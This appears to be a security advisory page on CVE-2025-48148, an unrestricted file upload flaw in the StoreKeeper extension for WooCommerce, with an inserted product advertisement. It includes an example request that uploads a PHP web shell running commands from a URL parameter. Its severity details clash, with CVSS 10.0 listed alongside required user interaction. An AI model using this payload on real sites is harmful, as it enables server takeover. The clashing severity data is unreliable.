Overview
The CVE-2025-48148 vulnerability represents a critical security flaw discovered in the StoreKeeper B.V. software for WooCommerce. This vulnerability, specifically an unrestricted file upload vulnerability, threatens the security and integrity of e-commerce sites powered by WooCommerce that use the StoreKeeper B.V. extension. This issue is of paramount importance due to the potential for system compromise or data leakage, which could lead to unauthorized access to sensitive information, disruption of service, and a potential loss of consumer trust.
Vulnerability Summary
CVE ID: CVE-2025-48148
Severity: Critical (CVSS: 10.0)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise and potential data leakage
Affected Products
Share secrets securely
Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.
Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.
- • Encrypted identity
- • Private Spaces for organizations and teams
- • End-to-end encrypted chat, calls, files, and notes
- • Sensitive AI work and protected collaboration
- • Built for information that cannot leak
Our mission is to secure human work alongside AI.
Product | Affected Versions
StoreKeeper B.V. for WooCommerce | All versions through 14.4.4
How the Exploit Works
The unrestricted file upload vulnerability allows an attacker to upload and execute arbitrary code on the server that hosts the WooCommerce application. This is achieved by manipulating the file upload functionality in the StoreKeeper B.V. extension to accept files with dangerous types. With this capability, an attacker could potentially upload a script that, once executed, provides them with unauthorized access to the system or leads to a data leak.
Conceptual Example Code
The vulnerability might be exploited using a simple HTTP request like the following:
POST /storekeeper/upload HTTP/1.1
Host: vulnerable-woocommerce-site.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php
system($_GET['cmd']);
?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, a malicious PHP script is uploaded which, when accessed via a specific URL, can execute arbitrary system commands supplied via the ‘cmd’ URL parameter.
Mitigations
The recommended mitigation strategy for this vulnerability is to apply the vendor-provided patch. Until that can be accomplished, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation, blocking attempts to exploit the vulnerability.